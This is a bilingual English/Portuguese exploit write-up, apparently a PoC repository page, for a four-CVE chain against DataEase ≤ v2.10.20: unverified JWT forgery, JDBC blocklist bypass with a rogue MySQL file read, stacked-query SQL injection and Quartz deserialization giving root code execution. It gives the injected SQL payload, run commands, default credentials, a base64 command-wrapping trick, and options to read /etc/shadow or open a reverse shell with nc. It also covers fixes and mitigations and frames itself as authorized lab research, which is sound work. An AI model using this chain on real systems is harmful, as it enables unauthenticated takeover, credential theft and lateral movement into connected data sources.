joaovicdev
exploitexploitCVE-2026-40901

CVE-2026-40901: DataEase 4-bug chain to unauthenticated root RCECVE-2026-40901: cadeia de 4 falhas no DataEase até RCE como root sem autenticação

Auth bypass → JDBC blocklist bypass → stacked-query SQLi → Java deserialization in a Quartz job-store BLOB. Four modest bugs in DataEase ≤ v2.10.20 compose into remote code execution as root, with a dockerized lab and a working PoC.Bypass de autenticação → bypass da blocklist JDBC → SQLi com stacked queries → desserialização Java em um BLOB do job store do Quartz. Quatro falhas modestas no DataEase ≤ v2.10.20 se compõem em execução remota de código como root, com lab dockerizado e PoC funcional.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable DataEase instance runs locally in Docker and nothing leaves your machine. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.

Summary

DataEase is a widely deployed open-source BI / data-visualization platform (Java, Spring Boot). Versions ≤ v2.10.20 carry four separate issues that individually look modest, but chain cleanly from network reachability to remote code execution as root.

#CVEClassWhat it gives us
1CVE-2026-23958Auth bypass (CWE-287 / CWE-347)Act as admin — no valid signature needed
2CVE-2026-40899JDBC blocklist bypass (CWE-20)Arbitrary file read → backend DB creds
3CVE-2026-40900SQL injection, stacked queries (CWE-89)Write into DataEase's own database
4CVE-2026-40901Java deserialization (CWE-502)RCE as root via the Quartz job store

The final link is the interesting one: the deserialization sink isn't an HTTP body or a cookie, it's a BLOB column in the Quartz JDBC job store that the scheduler reads back with readObject() on its own timer.

Fixed in DataEase v2.10.21.

Impact

AxisWhat an attacker gets
ConfidentialityArbitrary host file read, backend DB credentials, every dashboard's data
IntegrityArbitrary code execution as root inside the container
AvailabilityFull control of the BI platform and its scheduler
Lateral movementDataEase sits on the internal network by design — it reaches the data sources

All of it pre-authentication: step 1 mints the admin token.

Affected versions

DataEaseStatus
≤ v2.10.20Vulnerable — full chain lands root RCE
≥ v2.10.21Fixed — signature verification, @JsonIgnore on the blocklist, allowMultiQueries blocked, vulnerable gadget dependency dropped

Proof of concept

1. CVE-2026-23958 — authentication bypass

The TokenFilter servlet filter hands the token to TokenUtils, which decodes it and never verifies it:

io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // decode only — NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

The only real constraints are that the token is ≥ 100 characters and carries an integer uid claim. Any self-made JWT saying "uid": 1 runs as the built-in administrator. The companion share-link path (X-DE-LINK-TOKEN) is signed with the hardcoded key link-pwd-fit2cloud and was likewise decoded without verification. de_common.py implements forge_jwt() for this; the PoC can also just log in with the ubiquitous default admin / DataEase@123456.

Fixed in commit 00c169caa, which looks up the real per-resource secret and actually calls verifier.verify(...).

2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read

DataEase refuses a set of dangerous JDBC parameters when you add a MySQL datasource. That blocklist lives in a Lombok @Data field:

io.dataease.datasource.type.Mysql
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

@Data generates a public setter, so Jackson happily populates it from attacker-controlled JSON. Sending "illegalParameters": [] in the Base64-encoded configuration blob empties the blocklist before it is checked. Point the datasource at a rogue MySQL server with allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ and read any file off the DataEase host through MySQL's LOCAL INFILE mechanism.

terminal A — rogue MySQL server
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml
terminal B — make DataEase connect to it
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

DataEase hands over its own backend credentials:

[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Fixed in 16a950f96 by adding @JsonIgnore to every illegalParameters field.

3. CVE-2026-40900 — stacked-query SQLi in previewSql

POST /de2api/datasetData/previewSql takes Base64-encoded SQL and wraps it as a subquery with no single-statement validation:

SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Comments are stripped, but the parentheses can be balanced and ; used to append statements. Since we control the datasource we can set allowMultiQueries=true (not on the v2.10.20 blocklist), so stacked queries execute:

the injected payload
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

Pointing that datasource at DataEase's own database — using the credentials stolen in step 2 — gives write access to its Quartz tables. Fixed by 15611593b (allowMultiQueries added to the blocklist) and e89059d88.

4. CVE-2026-40901 — Quartz deserialization → RCE

DataEase schedules a recurring "datasource status check" Quartz job:

  • scheduler deSyncJob, job Datasource / check_status, class io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * — every 6 minutes by default

Quartz runs with a JDBC job store and useProperties=false, so each job's JobDataMap is persisted in QRTZ_JOB_DETAILS.JOB_DATA as a raw Java-serialized object — the blob literally starts with the AC ED 00 05 serialization magic. When the scheduler scans for triggers:

org.quartz.impl.jdbcjobstore.StdJDBCDelegate
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

DataEase bundles commons-collections-3.2.1.jar and velocity-1.7.jar — classic gadget sources. Step 3 overwrites JOB_DATA with a ysoserial CommonsCollections6 payload and, in the same stacked query, pulls the trigger's NEXT_FIRE_TIME forward to now so there's no 6-minute wait. On the next scan, readObject() fires LazyMap → InvokerTransformer → Runtime.exec and the command runs as root inside the container.

The PoC builds the gadget for you and handles the busybox quirk — the target shell is Alpine ash and Runtime.exec gets no shell — by wrapping the command as sh -c echo${IFS}<b64>|base64${IFS}-d|sh.

Fixed by e05bda764 and friends, which remove the vulnerable Velocity dependency and the reachability of the sink.

Repository layout

PathPurpose
docker-compose.ymlvulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.ymlrepoints the DB at the local mysql-de
mysql/my.cnf + init.sql (creates the empty dataease DB)
exploit/de_common.pyHTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql
exploit/de_rce_chain.pythe end-to-end auth → SQLi → Quartz deserialization RCE
exploit/rogue_mysql.pyminimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899
exploit/file_read.pydrives CVE-2026-40899 against the rogue server

Run it

Prerequisites: Docker (the CLI is also used to run ysoserial in a throwaway eclipse-temurin:8-jre container), and Python 3.8+ with cryptography.

1. Bring up the vulnerable lab:

docker compose up -d
pip install -r exploit/requirements.txt

Wait until http://localhost:8100/de2api/dekey returns 200 — the Flyway migration takes roughly 20 seconds. The web UI/API is on http://localhost:8100 (prefix /de2api), shipping default credentials admin / DataEase@123456, and the JVM runs as root inside its container.

2. Fire the chain:

python3 exploit/de_rce_chain.py

3. Confirm code execution a few seconds later:

docker exec dataease cat /tmp/pwned_CVE_2026_40901
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Other payloads:

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
 
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

Fix and mitigations

  • Upgrade to DataEase ≥ v2.10.21.
  • Rotate the default admin password (DataEase@123456) immediately — the chain works just as well with a plain login as with the forged token.
  • Don't expose DataEase to untrusted networks; it is an internal tool with credentials to every data source you've connected.
  • Defense-in-depth for the sink: run Quartz with useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and drop commons-collections:3.2.1 / velocity:1.7 from the classpath.
  • The broader lesson from step 2: a security control expressed as a mutable bean field is not a control. @Data on a config class silently makes your blocklist attacker-writable.

References

Autorização: este é um lab autocontido, feito para fins educacionais e pesquisa de segurança autorizada. A instância vulnerável do DataEase roda localmente em Docker e nada sai da sua máquina. Use apenas contra sistemas que você possui ou tem permissão explícita por escrito para testar — uso indevido pode ser crime.

Resumo

O DataEase é uma plataforma open-source de BI e visualização de dados amplamente usada (Java, Spring Boot). As versões ≤ v2.10.20 carregam quatro problemas distintos que individualmente parecem modestos, mas se encadeiam limpamente de alcance de rede até execução remota de código como root.

#CVEClasseO que nos dá
1CVE-2026-23958Bypass de autenticação (CWE-287 / CWE-347)Agir como admin — sem assinatura válida
2CVE-2026-40899Bypass da blocklist JDBC (CWE-20)Leitura arbitrária de arquivos → credenciais do banco
3CVE-2026-40900SQL injection, stacked queries (CWE-89)Escrita no próprio banco do DataEase
4CVE-2026-40901Desserialização Java (CWE-502)RCE como root via o job store do Quartz

O elo final é o mais interessante: o sink de desserialização não é um corpo HTTP nem um cookie, é uma coluna BLOB no job store JDBC do Quartz que o scheduler relê com readObject() no próprio timer dele.

Corrigido no DataEase v2.10.21.

Impacto

EixoO que o atacante consegue
ConfidencialidadeLeitura arbitrária de arquivos do host, credenciais do banco, dados de todos os dashboards
IntegridadeExecução arbitrária de código como root dentro do contêiner
DisponibilidadeControle total da plataforma de BI e do scheduler
Movimentação lateralO DataEase fica na rede interna por design — ele alcança as fontes de dados

Tudo isso pré-autenticação: o passo 1 cunha o token de admin.

Versões afetadas

DataEaseStatus
≤ v2.10.20Vulnerável — a cadeia completa chega a RCE como root
≥ v2.10.21Corrigido — verificação de assinatura, @JsonIgnore na blocklist, allowMultiQueries bloqueado, dependência do gadget vulnerável removida

Prova de conceito

1. CVE-2026-23958 — bypass de autenticação

O filtro de servlet TokenFilter entrega o token ao TokenUtils, que o decodifica e nunca o verifica:

io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // só decodifica — SEM checagem de assinatura
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

As únicas restrições reais são que o token tenha ≥ 100 caracteres e carregue uma claim uid inteira. Qualquer JWT feito à mão dizendo "uid": 1 roda como o administrador embutido. O caminho companheiro de link compartilhado (X-DE-LINK-TOKEN) é assinado com a chave fixa link-pwd-fit2cloud e também era decodificado sem verificação. O de_common.py implementa forge_jwt() para isso; a PoC também pode simplesmente logar com o onipresente padrão admin / DataEase@123456.

Corrigido no commit 00c169caa, que busca o segredo real por recurso e de fato chama verifier.verify(...).

2. CVE-2026-40899 — bypass da blocklist JDBC → leitura arbitrária de arquivos

O DataEase recusa um conjunto de parâmetros JDBC perigosos quando você adiciona um datasource MySQL. Essa blocklist vive em um campo Lombok @Data:

io.dataease.datasource.type.Mysql
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

O @Data gera um setter público, então o Jackson alegremente o popula a partir de JSON controlado pelo atacante. Enviar "illegalParameters": [] no blob configuration codificado em Base64 esvazia a blocklist antes de ela ser checada. Aponte o datasource para um servidor MySQL malicioso com allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ e leia qualquer arquivo do host do DataEase através do mecanismo LOCAL INFILE do MySQL.

terminal A — servidor MySQL malicioso
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml
terminal B — faça o DataEase se conectar a ele
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

O DataEase entrega as próprias credenciais de backend:

[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Corrigido em 16a950f96, adicionando @JsonIgnore a todo campo illegalParameters.

3. CVE-2026-40900 — SQLi com stacked queries no previewSql

POST /de2api/datasetData/previewSql recebe SQL em Base64 e o embrulha como subquery sem validar que é uma única instrução:

SELECT * FROM ( <seu SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Comentários são removidos, mas os parênteses podem ser balanceados e ; usado para anexar instruções. Como controlamos o datasource, podemos definir allowMultiQueries=true (que não está na blocklist da v2.10.20), então stacked queries executam:

o payload injetado
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

Apontar esse datasource para o banco do próprio DataEase — usando as credenciais roubadas no passo 2 — dá acesso de escrita às tabelas do Quartz. Corrigido por 15611593b (allowMultiQueries adicionado à blocklist) e e89059d88.

4. CVE-2026-40901 — desserialização no Quartz → RCE

O DataEase agenda um job recorrente do Quartz de "checagem de status do datasource":

  • scheduler deSyncJob, job Datasource / check_status, classe io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * — a cada 6 minutos por padrão

O Quartz roda com job store JDBC e useProperties=false, então o JobDataMap de cada job é persistido em QRTZ_JOB_DETAILS.JOB_DATA como um objeto Java serializado bruto — o blob literalmente começa com o magic de serialização AC ED 00 05. Quando o scheduler varre por triggers:

org.quartz.impl.jdbcjobstore.StdJDBCDelegate
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

O DataEase empacota commons-collections-3.2.1.jar e velocity-1.7.jar — fontes clássicas de gadget. O passo 3 sobrescreve o JOB_DATA com um payload CommonsCollections6 do ysoserial e, na mesma stacked query, adianta o NEXT_FIRE_TIME do trigger para agora, eliminando a espera de 6 minutos. Na varredura seguinte, o readObject() dispara LazyMap → InvokerTransformer → Runtime.exec e o comando roda como root dentro do contêiner.

A PoC monta o gadget para você e lida com a peculiaridade do busybox — o shell do alvo é o ash do Alpine e o Runtime.exec não recebe shell nenhum — embrulhando o comando como sh -c echo${IFS}<b64>|base64${IFS}-d|sh.

Corrigido por e05bda764 e companhia, que removem a dependência vulnerável do Velocity e a alcançabilidade do sink.

Estrutura do repositório

CaminhoPropósito
docker-compose.ymlDataEase v2.10.20 vulnerável + MySQL 8.4
conf/application-standalone.ymlreaponta o banco para o mysql-de local
mysql/my.cnf + init.sql (cria o banco dataease vazio)
exploit/de_common.pycliente HTTP: recuperação de RSA por /dekey, login, forja de JWT, datasource + previewSql
exploit/de_rce_chain.pya cadeia ponta a ponta auth → SQLi → RCE por desserialização no Quartz
exploit/rogue_mysql.pyservidor MySQL malicioso mínimo (leitura via LOCAL INFILE) para a CVE-2026-40899
exploit/file_read.pyconduz a CVE-2026-40899 contra o servidor malicioso

Rodando o lab

Pré-requisitos: Docker (a CLI também é usada para rodar o ysoserial em um contêiner descartável eclipse-temurin:8-jre) e Python 3.8+ com cryptography.

1. Suba o lab vulnerável:

docker compose up -d
pip install -r exploit/requirements.txt

Espere até http://localhost:8100/de2api/dekey retornar 200 — a migração do Flyway leva cerca de 20 segundos. A UI/API web fica em http://localhost:8100 (prefixo /de2api), com as credenciais padrão admin / DataEase@123456, e a JVM roda como root dentro do contêiner.

2. Dispare a cadeia:

python3 exploit/de_rce_chain.py

3. Confirme a execução de código alguns segundos depois:

docker exec dataease cat /tmp/pwned_CVE_2026_40901
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Outros payloads:

# comando arbitrário
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
 
# reverse shell (suba um `nc -lvnp 4444` antes)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

Correção e mitigações

  • Atualize para o DataEase ≥ v2.10.21.
  • Troque imediatamente a senha padrão do admin (DataEase@123456) — a cadeia funciona igualmente bem com um login comum e com o token forjado.
  • Não exponha o DataEase a redes não confiáveis; é uma ferramenta interna com credenciais de todas as fontes de dados que você conectou.
  • Defesa em profundidade para o sink: rode o Quartz com useProperties=true, aplique um filtro de desserialização da JVM (-Djdk.serialFilter=…), e remova commons-collections:3.2.1 / velocity:1.7 do classpath.
  • A lição mais ampla do passo 2: um controle de segurança expresso como um campo mutável de bean não é um controle. @Data em uma classe de configuração silenciosamente torna a sua blocklist gravável pelo atacante.

Referências